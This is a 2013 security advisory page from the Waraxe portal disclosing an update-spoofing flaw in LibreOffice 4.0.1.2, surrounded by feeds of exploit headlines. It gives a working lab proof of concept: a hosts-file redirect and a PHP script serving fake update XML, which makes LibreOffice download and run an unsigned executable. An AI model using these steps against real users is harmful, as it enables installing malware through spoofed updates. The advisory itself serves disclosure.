Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 22, 2014
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Prospero22
New Today: 0
New Yesterday: 0
Overall: 8961

People Online:
Visitors: 168
Members: 1
Total: 169

Online Now:
01: ZiPo - Homepage
milw0rm
·#1337day Soitec SmartEnergy 1.4 SCADA Login SQL Injection Authentication Bypass Exploit [#0day #Exploit]
·#1337day JourneyMap 5.0.0RC2 Ultimate Edition - DoS [dos #exploits #0day #Exploit]
·#1337day ManageEngine Desktop Central MSP Remote Code Execution Vulnerability [remote #exploits #Vulnerability #0day #Exploit]
·#1337day Tuleap PHP Unserialize Code Execution Exploit CVE-2014-8791 [webapps #exploits #0day #Exploit]
·#1337day phpTrafficA 2.3 SQL Injection Vulnerability CVE-2014-8340 [webapps #exploits #Vulnerability #0day #Exploit]
·#1337day Apache CloudStack 4.3 / 4.4 Unauthenticated LDAP Binds Vulnerability [remote #exploits #Vulnerability #0day #Exploit]
·#1337day PBBoard CMS - Stored XSS Vulnerability [webapps #exploits #Vulnerability #0day #Exploit]
·#1337day OpenEMR 4.1.2(7) - Multiple SQL Injection Vulnerabilities [webapps #exploits #Vulnerabilities #0day #Exploit]
·#1337day Humhub 0.10.0-rc.1 - XSS / SQL Injection vulnerabilities [webapps #exploits #0day #Exploit]
·#1337day VFU 4.10-1.1 - Buffer Overflow Exploit [remote #exploits #0day #Exploit]

read more...
PacketStorm News
·RSA Authentication Manager 8.0 / 8.1 Unvalidated Redirect
·RSA Archer GRC Platform 5.x Cross Site Scripting
·EMC Isilon InsightIQ Cross Site Scripting
·Docker Privilege Escalation / Path Traversal / Spoofing
·HP Security Bulletin HPSBUX03162 SSRT101767 3
·Debian Security Advisory 3099-1
·Advertisement: SolarWinds Log & Event Manager
·Red Hat Security Advisory 2014-1985-01
·Red Hat Security Advisory 2014-1984-01
·Gentoo Linux Security Advisory 201412-11

read more...
[waraxe-2013-SA#099] - Update Spoofing Vulnerability in LibreOffice 4.0.1.2





Author: Janek Vind "waraxe"
Date: 21. March 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-99.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

LibreOffice is a free and open source office suite, developed by The Document
Foundation. It is descended from OpenOffice.org, from which it was forked in 2010.
The LibreOffice suite includes a word processor, spreadsheet, graphics editor,
slideshow creator, database and math formula writer.

http://www.libreoffice.org/

Affected are versions 3.5.1 to newest 4.0.1.2, older versions were not tested.

###############################################################################
1. Update Spoofing Vulnerability
###############################################################################

It appears, that current version of LibreOffice contains security vulnerability
in update mechanism, which can be exploited by malicious people to conduct
spoofing attacks.

When checking for updates, LibreOffice issues GET request over HTTP:

GET /check.php HTTP/1.1
Connection: TE, close
TE: trailers
Host: update.libreoffice.org
Accept-Encoding: gzip
Pragma: no-cache
Accept-Language: en-US
User-Agent: LibreOffice 4.0 .0.3 (7545bee9c2a0782548772a21bc84a9dcc583b89;
Windows; x86; BundledLanguages=en-US af am ar as ast be bg bn bn-IN bo ...)


Server at "update.libreoffice.org" responds with XML data:

<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="http://update.libreoffice.org/description">
<inst:id>LibreOffice 4.0.1</inst:id>
<inst:gitid>84102822e3d61eb989ddd325abf1ac077904985</inst:gitid>
<inst:os>Windows</inst:os>
<inst:arch>x86</inst:arch>
<inst:version>4.0.1</inst:version>
<inst:buildid>9999</inst:buildid>
<inst:update type="text/html" src="http://www.libreoffice.org/download/" />
</inst:description>


LibreOffice user can click "Download" and "Install" buttons and LibreOffice
will download and install the update.

Such update mechanism contains two security flaws:

1. Update check is done over unencrypted HTTP channel. Malicious third party
is able to conduct Man-in-the-Middle (MitM) attacks and spoof server response.
In this way it is possible to instruct LibreOffice to download malicious update.

2. LibreOffice will execute downloaded update without digital signature
verification.

Testing: tests were done using Windows 7, Apache and PHP. Steps:

1. modify "windows/system32/drivers/etc/hosts" file in order to emulate
DNS spoofing: 127.0.0.1 update.libreoffice.org

2. create php file "check.php" to the webserver main directory:

<?php
echo '<?xml version="1.0" encoding="utf-8"?>
<inst:description xmlns:inst="http://update.libreoffice.org/description">
<inst:id>LibreOffice 5.6.7</inst:id>
<inst:gitid>123456789</inst:gitid>
<inst:os>Windows</inst:os>
<inst:arch>x86</inst:arch>
<inst:version>5.6.7</inst:version>
<inst:buildid>9999</inst:buildid>
<inst:update type="application/octet-stream" src="http://localhost/notepad.exe" />
</inst:description>';
?>

3. Place "notepad.exe" file to the webserver main directory.

4. Open LibreOffice Writer -> Help -> Check For Updates

Response: LibreOffice 5.6.7 is available.

5. Press "Download" button. Successful download ends with response:

Download of LibreOffice 5.6.7 completed. Ready for installation.

6. Press "Install" button, choose "Yes" and after that Notepad will be opened.



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2013-03-21 (2415 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 736
pexli  pexli - 665
Mullog  Mullog - 539
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
·Vuln: D-Link DCS-2103 CVE-2014-9238 Directory Traversal Vulnerability
·Vuln: Graphviz 'agerr()' Function Remote Format String Vulnerability
·Vuln: Ruby CVE-2014-8080 XML External Entity Denial of Service Vulnerability
·Vuln: Ruby Floating Point Parsing Heap Buffer Overflow Vulnerability
·Bugtraq: CVE-2014-2026 Reflected Cross-Site Scripting (XSS) in "Intrexx Professional"
·Bugtraq: CVE-2014-2025 Remote Code Execution (RCE) in "Intrexx Professional"
·Bugtraq: [ MDVSA-2014:251 ] rpm
·Bugtraq: [ MDVSA-2014:250 ] cpio
·More rss feeds from SecurityFocus

read more...
alexa



Hardware reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.062 Seconds